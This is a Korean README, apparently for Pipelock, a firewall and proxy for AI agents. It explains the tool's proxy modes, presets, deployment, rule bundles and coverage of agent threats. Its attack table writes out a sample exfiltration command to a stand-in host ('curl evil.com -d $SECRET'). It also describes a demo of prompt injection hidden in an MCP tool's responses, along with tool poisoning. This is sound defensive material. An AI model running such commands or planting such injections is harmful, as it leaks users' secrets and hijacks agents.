| 대시보드 fleet 뷰: Fleet, Workbench, 인시던트 | 아니요 | 아니요 | 예 |
서명된 `pipelock assess` 보고서는 Pro 및 Enterprise와 별개인 별도의 `assess` 자격입니다. 무료 assess 등급은 변경되지 않습니다.
---
## 작동 방식
Pipelock은 **기능 분리**를 사용합니다. 적용된 배포에서 에이전트 프로세스는 비밀을 보유하지만 직접적인 네트워크 액세스는 없습니다. Pipelock은 네트워크 액세스 권한이 있지만 에이전트 비밀은 없습니다. 에이전트가 프롬프트 인젝션을 당하더라도 방화벽의 제어에 도달할 수 없습니다.
동일한 포트를 사용하는 세 가지 HTTP 프록시 모드와 전용 MCP 프록시 및 A2A 검사(전달 및 MCP 경로):
- **Fetch 프록시** (`/fetch?url=...`): URL을 가져오고 텍스트를 추출한 후 인젝션을 스캔하여 깨끗한 콘텐츠를 반환합니다.
- **Forward 프록시** (`HTTPS_PROXY`): 애플리케이션 코드 변경 없이 표준 HTTP CONNECT 터널링. 프록시 구성이 여전히 필요합니다. 선택적 TLS 가로채기로 페이로드 스캔이 가능합니다.
- **WebSocket 프록시** (`/ws?url=ws://...`): DLP 및 인젝션 감지를 통한 양방향 프레임 스캔.
- **MCP 프록시** (`pipelock mcp proxy`): stdio 또는 HTTP MCP 서버를 양방향 스캔으로 래핑합니다.
- **A2A 검사**: 전달 및 MCP 경로를 통과하는 Google Agent-to-Agent 프로토콜 트래픽을 검사합니다.

<details>
<summary>텍스트 다이어그램 (터미널용)</summary>```
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE │
│ │
│ AI Agent │
│ - API keys, credentials, private code and context │
│ - Network-isolated by deployment │
└────────────────────────────┬─────────────────────────────┘
│ mediated request
│ fetch / CONNECT / WS / MCP / A2A
▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE │
│ │
│ Pipelock Agent Firewall │
│ - Destination: URL, SSRF, and DNS checks │
│ - Data: DLP, secret detection, and budgets │
│ - Content: prompt injection and tool poisoning │
│ - Policy: allow, block, or redact │
│ - No agent secrets │
└────────────────────────────┬─────────────────────────────┘
│ approved request
▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET │
│ │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent
내장된 사전 설정에서 구성 파일을 생성하거나, pipelock audit가 프로젝트에 맞게 조정하도록 하세요:```bash
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| CLI 프리셋 | 모드 | 동작 | 적합 대상 |
|------------|------|--------|----------|
| `balanced` | balanced | warn | 일반 목적 (기본값) |
| `strict` | strict | block | 고보안, 규제 산업 |
| `audit` | audit | warn | 로그 전용 평가 |
| `claude-code` | balanced | block | Claude Code 무인 실행 |
| `cursor` | balanced | block | Cursor IDE |
| `generic-agent` | balanced | warn | 튜닝 중 신규 에이전트 |
| `hostile-model` | strict | block | 검열 해제/제거 모델 |
구성 변경은 파일 감시자 또는 SIGHUP을 통해 적용됩니다. 전체 참조: **[docs/configuration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md)**
오탐 튜닝 관련: **[docs/false-positive-tuning.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md)**
---
## 통합 가이드
- **[Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md):** MCP 프록시 설정, `.claude.json` 구성
- **[OpenAI Codex](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/codex.md):** MCP 프록시 래핑, 포워드 프록시, 샌드박스 통합
- **[Cline](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/cline.md):** Cline의 `mcp.json`용 MCP 프록시 래핑
- **[OpenCode](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/opencode.md):** OpenCode의 로컬 및 원격 MCP 서버용 MCP 프록시 래핑
- **[Zed](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/zed.md):** Zed의 `settings.json` 내 `context_servers` 블록용 MCP 프록시 래핑
- **[OpenAI Agents SDK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openai-agents.md):** `MCPServerStdio`, 다중 에이전트 핸드오프
- **[Google ADK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/google-adk.md):** `McpToolset`, `StdioConnectionParams`
- **[AutoGen](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/autogen.md):** `StdioServerParams`, `mcp_server_tools()`
- **[CrewAI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/crewai.md):** `MCPServerStdio` 래핑, `MCPServerAdapter`
- **[LangGraph](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/langgraph.md):** `MultiServerMCPClient`, `StateGraph`
- **[Hermes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/hermes.md):** 전체 플러그인 지원 또는 Nous Research 에이전트용 경량 MCP 전용 래핑, 인증 헤더 사이드카 보존 포함
- **[JetBrains/Junie](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/jetbrains.md):** IntelliJ, PyCharm, GoLand용 MCP 프록시 래핑 ([워크스루](https://pipelab.org/learn/jetbrains-integration/))
- **Cursor:** `pipelock cursor install`는 셸 실행, MCP 도구 호출, 파일 읽기를 위한 Cursor 훅으로 Pipelock을 등록합니다. `--config`를 사용하여 검증된 정책 경로를 포함하고 `pipelock cursor remove`로 Pipelock이 관리하는 훅을 제거합니다. [Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md)와 동일한 MCP 프록시 패턴으로 `configs/cursor.yaml`을 사용할 수도 있습니다 ([워크스루](https://pipelab.org/learn/cursor-integration/))
- **VS Code:** `pipelock vscode install`은 모든 MCP 서버가 MCP 프록시를 통해 라우팅되도록 `.vscode/mcp.json`을 다시 작성합니다. `--global`은 사용자 수준 `mcp.json`을 대상으로 합니다
- **[OpenClaw](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openclaw.md):** 게이트웨이 사이드카, 초기화 컨테이너, 구성 래핑
- **기타 모든 MCP 클라이언트:** `pipelock generate mcporter`는 최상위 `mcpServers` 객체가 포함된 모든 JSON 파일을 읽고 각 서버를 Pipelock의 프록시를 통해 래핑하므로, 위 목록에 없는 클라이언트도 한 번의 명령으로 스캔을 통해 라우팅됩니다.
---
## 배포```bash
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm
helm install pipelock charts/pipelock/
Production recipes for Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables, and macOS PF: docs/guides/deployment-recipes.md
이 작업은 사전 빌드된 바이너리를 다운로드하고, `pipelock audit`를 실행하며, PR diff에서 유출된 비밀을 스캔한 후, 감사 보고서를 워크플로 아티팩트로 업로드합니다. 전체 워크플로는 [`examples/ci-workflow.yaml`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/ci-workflow.yaml)을 참조하세요.
### 실행 가능 데모: 도구 응답 주입
[`examples/tool-response-injection/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/tool-response-injection/) 하네스는 무해한 이름과 설명을 가진 MCP 도구가 응답에 프롬프트 주입 페이로드를 숨기는 엔드투엔드 데모를 실행합니다. Pipelock이 응답이 에이전트에 도달하기 전에 차단하고, 제3자가 검증할 수 있는 서명된 작업 영수증을 발행합니다. 동일한 데모가 하나의 공유 서명 키로 세 가지 전송 방식에 대해 실행됩니다:
- MCP stdio
- MCP HTTP upstream
- HTTP fetch```bash
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
핵심 바이너리보다 빠르게 확장, 공유, 배포할 수 있는 탐지 기능.
Pipelock의 기본 제공 DLP, 인젝션 및 도구 중독 탐지는 기본 상태에서도 강력합니다. 커뮤니티 규칙 번들을 사용하면 더 나아갈 수 있습니다. 스택에서 발견하는 유출 형태, 비밀 형식 및 인젝션 트릭에 대한 자체 패턴을 추가하고, 서명한 후, 릴리스를 기다리지 않고 직접 제어하는 주기로 배포할 수 있습니다.
공식 번들을 한 줄로 설치하세요:```bash pipelock rules install pipelock-community
규칙 번들은 서명되고 버전이 고정됩니다. 전체 수명 주기는 구성 편집이 아닌 배포된 명령입니다:```bash
pipelock rules list # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community
직접 작성하세요. 규칙은 이름, 카테고리(DLP, injection, tool-poison) 및 패턴이 포함된 작은 YAML 항목입니다. 키로 서명하고 번들에 넣으면 실행하는 모든 Pipelock 인스턴스가 이를 적용합니다. 커뮤니티와 공유하면 다른 모든 사람도 보호받을 수 있습니다.
공개 pipelock-rules 번들에 규칙을 기여하거나, docs/rules.md를 읽고 자신만의 규칙을 만들고 서명하세요.
전체 문서 디렉토리: docs/
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ pipelock doctor and install-verification diagnostics
session/ pipelock session, pipelock adaptive, and pipelock baseline operator CLIs
setup/ pipelock init sidecar: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (6 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
---
## 테스트
Pipelock은 보안 제품처럼 테스트됩니다. 오픈소스 코어에는 단위, 통합, 엔드투엔드 테스트가 있습니다. 별도의 비공개 적대적 테스트 스위트는 프로덕션 바이너리에 대한 공격 클래스를 실행합니다. 모든 우회(bypass)는 릴리스 전에 회귀 테스트(regression test)로 편입됩니다.
| 지표 | 값 |
|--------|-------|
| Go 테스트 (`-race` 포함) | 단위, 통합, 엔드투엔드 경로 |
| 커버리지 게이트 (codecov) | Apache-2.0 코어 프로젝트 91%, 신규 코드 패치 95% |
| 우회(Evasive) 커버리지 | 공개 우회 저항 매트릭스 + 비공개 적대적 말뭉치 |
| 스캐너 핫패스 오버헤드 | URL 스캔당 ~40μs (핫패스 벤치마크, [docs/performance.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/performance.md) 참조) |
| CI 매트릭스 | Go 1.25 + 1.26, CodeQL, golangci-lint |
| 공급망 | SLSA 출처(provenance), CycloneDX SBOM, cosign 서명 |
`make test`를 실행하여 로컬에서 확인하세요. 독립 벤치마크: 공개 [agent-egress-bench](https://github.com/luckyPipewrench/agent-egress-bench) 말뭉치. [실시간 결과](https://pipelab.org/gauntlet/)를 참조하세요.
---
## 크레딧
- 아키텍처는 [Anthropic의 Claude Code 샌드박싱](https://www.anthropic.com/engineering/claude-code-sandboxing) 및 [sandbox-runtime](https://github.com/anthropic-experimental/sandbox-runtime)의 영향을 받았습니다.
- 위협 모델은 [OWASP Agentic AI Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)을 기반으로 합니다.
- Pipelock이 이 분야의 다른 도구와 어떻게 관련되는지는 [docs/comparison.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/comparison.md)를 참조하세요.
- Dylan Corrales의 보안 검토 기여.
기여를 환영합니다. 지침은 [CONTRIBUTING.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/CONTRIBUTING.md)를 참조하세요.
Pipelock이 유용하다면, [이 저장소에 스타를 남겨주세요](https://github.com/luckyPipewrench/pipelock). 프로젝트를 찾는 다른 사람들에게 도움이 됩니다.
---
## 라이선스
Pipelock 코어는 **Apache License 2.0**에 따라 라이선스가 부여됩니다. Copyright 2026 Joshua Waldrep.
멀티 에이전트 기능(에이전트별 ID, 예산, 구성 격리)은 `enterprise/` 디렉토리에 있으며, `enterprise` 빌드 태그로 제한되고 **Elastic License 2.0 (ELv2)**에 따라 라이선스가 부여됩니다. 이 기능은 유효한 라이선스 키로 활성화됩니다.
오픈소스 코어는 유료 기능 없이 독립적으로 작동합니다. 모든 스캔, 탐지 및 단일 에이전트 보호는 무료입니다.
사전 빌드된 릴리스 아티팩트(Homebrew, GitHub 릴리스, Docker 이미지)에는 유효한 라이선스 키로 활성화되는 유료 계층 코드가 포함되어 있습니다. `go install` 또는 저장소의 `Dockerfile`을 사용하여 소스에서 빌드하면 커뮤니티 전용 바이너리가 생성됩니다.
Apache 2.0 텍스트는 [LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/LICENSE)를, ELv2 텍스트는 [enterprise/LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/enterprise/LICENSE)를 참조하세요.
| 모드 | 보안 | 웹 브라우징 | 사용 사례 |
|---|
| strict | 허용 목록 전용 | 없음 | 규제 산업, 고보안 |
| balanced | 단순 차단 + 정교함 탐지 | fetch 또는 forward proxy 통해 | 대부분의 개발자(기본값) |
| audit | 로깅 전용 | 제한 없음 | 시행 전 평가 |
| 공격 벡터 | Strict | Balanced | Audit |
|---|
curl evil.com -d $SECRET | 차단됨 | 차단됨 | 기록됨 |
| URL 쿼리 파라미터의 비밀 | 차단됨 | 탐지됨(DLP) | 기록됨 |
| URL의 Base64 인코딩된 비밀 | 차단됨 | 탐지됨(엔트로피 및 디코딩된 DLP) | 기록됨 |
| DNS 터널링 | 차단됨 | 탐지됨(서브도메인 엔트로피) | 기록됨 |
| 청크 유출 | 차단됨 | 탐지됨(속도, 예산, 조각 검사) | 기록됨 |
| URL 내 공개 키 암호화 blob | 차단됨 | 엔트로피 플래그 시 기록됨 | 기록됨 |
| Pipelock | 스캐너(agent-scan) | 샌드박스(srt) | 커널 에이전트(agentsh) |
|---|
| 비밀 유출 방지 | Strict 차단; balanced 탐지 | 부분(프록시 모드) | 부분(도메인 수준) | 예 |
| DLP + 엔트로피 분석 | 예 | 아니요 | 아니요 | 부분 |
| 프롬프트 인젝션 탐지 | 예 | 예 | 아니요 | 아니요 |
| MCP 스캐닝(양방향 + 도구 중독) | 예 | 예 | 아니요 | 아니요 |
| WebSocket 프록시(프레임 스캐닝) | 예 | 아니요 | 아니요 | 아니요 |
| MCP HTTP 전송(Streamable HTTP) | 예 | 아니요 | 아니요 | 아니요 |
| 비상 킬 스위치(6개 소스) | 예 | 아니요 | 아니요 | 아니요 |
| 도구 호출 체인 탐지 | 예 | 아니요 | 아니요 | 아니요 |
| 프로세스 샌드박스(Docker 없음) | 예 | 아니요 | 아니요 | 예(커널 수준) |
| 단일 바이너리, 제로 종속성 | 예 | 아니요(Python) | 아니요(npm) | 아니요(커널) |
| 위협 | 적용 범위 |
|---|
| ASI01 에이전트 목표 하이재킹 | 강력: 양방향 MCP + 응답 스캐닝 |
| ASI02 도구 오용 | 부분: 통제된 도구로서의 프록시, MCP 스캐닝 |
| ASI03 ID 및 권한 남용 | 강력: 기능 분리 + SSRF 보호 |
| ASI04 공급망 취약점 | 부분: 무결성 모니터링 + MCP 스캐닝 |
| ASI05 예상치 못한 코드 실행 | 보통: HITL 승인, 실패 시 폐쇄 기본값 |
| ASI06 메모리 및 컨텍스트 중독 | 보통: 인젝션 탐지 + 세션 오염 전파 |
| ASI07 안전하지 않은 에이전트 간 통신 | 부분: MCP/A2A 스캐닝, 에이전트 ID, 무결성, 서명 |
| ASI08 계단식 실패 | 보통: 실패 시 폐쇄 아키텍처, 속도 제한 |
| ASI09 인간-에이전트 신뢰 악용 | 부분: HITL 모드, 감사 로깅 |
| ASI10 악성 에이전트 | 강력: 도메인 허용 목록 + 속도 제한 + 기능 분리 |
세부 사항, 구성 예제 및 격차 분석: docs/owasp-mapping.md
explain event <id>explain mcppipelock canary는 허니토큰 구성을 생성합니다. 아웃바운드 트래픽에 나타나는 합성 비밀은 에이전트 또는 그 체인의 무언가가 환경 변수를 유출하고 있음을 증명합니다. 카나리 토큰 참조.pipelock skill-scan은 에이전트 스킬 파일을 인벤토리하고, 운영자 소유의 잠금 파일과 비교하며, 자격 증명-네트워크 싱크 또는 셸-쓰기와 같은 소스-투-싱크 조합을 실행 전에 라인 증거와 함께 플래그합니다. docs/cli/skill-scan.md 참조.| 문서 | 내용 |
|---|
| 설정 참조 | 모든 구성 필드, 기본값, 핫 리로드 동작, 프리셋 |
| 요청 정책 | 기본 허용, 아웃바운드 API 작업에 대한 거부/경고 레일(GraphQL/discriminator/batch), 실패 시 폐쇄(v2.6) |
| 요청 수정 | HTTP, WebSocket, MCP 전송 전반의 JSON 요청 재작성 |
| 오탐 튜닝 | 스캐너 결과 식별, 억제 및 튜닝 |
| 스캔 API | 프로그래매틱 스캔을 위한 평가 엔드포인트 |
| 배포 레시피 | Docker Compose, K8s 사이드카, iptables, macOS PF |
pipelock doctor | 프록시, TLS, MCP, file_sentry, 텔레메트리, 컨테인먼트 신호에 대한 구성 가능 vs 적용 가능 배포 진단 |
pipelock dashboard | 운영자 대시보드 설정: 인증 모드, RBAC 권한, 증거, 면제, 예산, 신뢰 및 키, 플릿 보기, 백업/복원, 적용 범위 인증서 |
pipelock verify-install | 결정적 스캔, 로컬 증명, 직접 이그레스 스모크 검사 |
pipelock update | 검증된 자체 업데이트: 서명된 릴리스 매니페스트, 체크섬 검증, 선택적 cosign 교차 검사, 원자적 설치, 롤백 |
| 우회 저항 | 알려진 회피 기법, 완화 조치, 제한 사항 |
| 차단된 알려진 공격 | 재현 스니펫이 포함된 실제 공격 |
| SIEM 통합 | 로그 스키마, CEF/syslog 출력, 내구성 있는 Enterprise 전달, 수명 주기, 메트릭, SIEM 쿼리 |
| 메트릭 참조 | Prometheus 메트릭 패밀리, 레이블, JSON 통계, 알림 규칙 |
| 커뮤니티 규칙 | 서명된 규칙 번들 설치, 구성, 생성 |
| 보안 보증 | 보안 모델, 신뢰 경계, 공급망 |
| 보안 문서 | 공개 정책, 지원되지 않는 경로, 키 순환, TLS CA 및 감사 패킷 위협 모델 |
| 엔터프라이즈 준비 상태 | 제공된 엔터프라이즈 제어, 평가 경로, 배포 결정, 명시적 경계 |
| 재현 가능 빌드 | 바이트 단위 OSS 바이너리 확인, 안정적인 입력, 릴리스 통합, 범위 |
| 결과 억제 | 규칙 이름, 경로 일치, 인라인 주석 |
| 전송 모드 | 모든 프록시 모드 및 스캔 기능 |
| OWASP MCP Top 10 | OWASP MCP Top 10 적용 범위 |
| OWASP Agentic Top 15 | OWASP Agentic AI Top 15 적용 범위 |
| OWASP LLM Top 10 | LLM 애플리케이션용 OWASP Top 10 (2025) 적용 범위 |
| EU AI Act | EU AI Act 규정 준수 매핑 |
| NIST 800-53 | NIST SP 800-53 Rev. 5 제어 매핑 |
| 평가 매핑 | 런타임 제어를 pipelock assess가 증거를 생성하는 프레임워크에 매핑하여 조달 및 감사 검토에 사용 |
| 정책 사양 v0.1 | 휴대용 에이전트 방화벽 정책 형식 |
| 중재 인벨롭 | 사이드밴드 메타데이터 헤더, 구성, 영수증과의 상호작용 |
| 미디어 정책 | 스테가노그래피 제거, SVG 강화, 허용 유형, 크기 제한 |
| 증거 용어 | ActionReceipt, EvidenceReceipt, 플라이트 레코더, 체크포인트, 앵커, 적용 범위 인증서, 감사 패킷에 대한 빠른 참조, 무결성 대 완전성, 고정 대 비고정 구분 포함 |
| 영수증 검증 | pipelock verify-receipt, 플릿 영수증 보고서 검증, 독립형 pipelock-verifier, 적합성 스위트, 체인 무결성 |
| 영수증 사양 프로필 | 작업 영수증에 대한 in-toto 증명 서술어, 관련 SCITT 및 AARP 프로필 및 기존 기술 매핑 포함 |
| 감사 패킷 위협 모델 | 검증된 감사 패킷이 증명하는 것, 증명하지 않는 것, 그리고 신뢰 당사자가 고정해야 하는 신뢰 가정 |
| 영수증 전송 적용 범위 | 가져오기, 전달, CONNECT/TLS, WebSocket, MCP, A2A 경로 전반의 영수증 방출 매트릭스 |
| 학습 및 잠금 | 에이전트별 동작 계약: 관찰, 컴파일, 섀도우, 비준, 승격 (v2.4) |
| 페더레이션 | 인바운드 중재 인벨롭 검증, SPIFFE 액터 형식, RFC 9421 well-known 디렉토리 (v2.4) |
| 차단 이유 헤더 | X-Pipelock-Block-Reason 스키마, 이유 어휘, 재시도 힌트 (v2.4) |
| 헬스 엔드포인트 | /health 503 웨지 감지, 서브시스템 하트비트, 운영자 대시보드 구성 (v2.4) |
| 호스트 컨테인먼트 | pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh - 3-UID nftables 소유자 일치 컨테인먼트, 커널 관찰 자세 증명 포함 (v2.5) |
| MCP 무결성 매니페스트 | 신뢰할 수 있는 MCP 바이너리 무결성 매니페스트 생성, 검증, 서명, 요구 (v2.5) |
| 적응형 CLI | 관리 API를 통해 적응형 적용 런타임 상태 검사 및 플러시 (v2.5) |
| 컨덕터 | 엔터프라이즈 플릿 제어 플레인: 정책 배포, 감사 싱크, 원격 종료, 롤백, mTLS/SPIFFE 신뢰, 라이선싱 (v2.7, Enterprise) |
| 컨덕터 운영자 런북 | 실습 로컬 플릿 연습: 부트스트랩, 서빙, 배치 서명, 오프라인 검증 |
| 컨덕터 운영자 퀵스타트 | 처음부터 읽기 전용 플릿 감사까지: 라이선스, 운영자 mTLS 인증서, 감사자 토큰, 읽기 전용 명령어 |
| Kubernetes 엔터프라이즈 배포 | Helm 기반 컨덕터 플릿: 제어 플레인, 팔로워, fleet-sink, PKI 시크릿, NetworkPolicy |
pipelock license | 유료 기능을 잠금 해제하는 라이선스 설치, 검사, 확인 (Pro agents, Enterprise fleet) |
pipelock baseline | 인증된 관리 API를 통해 동작 기준 프로파일 검사, 비준, 재학습 |
| 자세 캡슐 | 서명된 자세 스냅샷, posture verify CLI, CI 게이트, 점수 모델 |
pipelock init sidecar | 적용된 Kubernetes 컴패니언 프록시 매니페스트 및 MCP 런처 계약 생성 (strategic-merge, Kustomize, Helm values) |
pipelock session | 에어락 검사 및 복구를 위한 운영자 CLI (list, inspect, explain, release, terminate, recover) |
pipelock keys status | 통합 서명 키 인벤토리: 목적별 소스, 존재 여부, 읽기 가능성, 유효성, 공개 키 지문 |
| 플라이트 레코더 | 해시 체인 서명 증거 로그: 기본 활성화 동작, 전사 루트 실, 수정, 에스크로, 키 순환 |
| TLS 가로채기 | CONNECT 터널 MITM: CA 설정, 본문/헤더/응답 스캔, 패스스루 도메인 |
| 카나리 토큰 | 에이전트가 유출을 시도하는 즉시 알림을 트리거하는 합성 비밀 |
| 탐지 통합 | Pipelock 결정 및 증거를 외부 탐지/SIEM 파이프라인에 공급 |
| PR 검토 | 풀 리퀘스트에 대한 수동 트리거 AI 보안 검토 (/review 댓글) |
| MCP Inspector Front | Pipelock 스캔을 통한 Front MCP 개발 도구 (Inspector, test servers) |
pipelock demo | 서명되고 오프라인에서 검증 가능한 영수증이 포함된 독립형 공격 시나리오, 구성 또는 네트워크 불필요 |
| 배지 | 다운스트림 프로젝트에 scanned by pipelock 배지를 위한 드롭인 Markdown |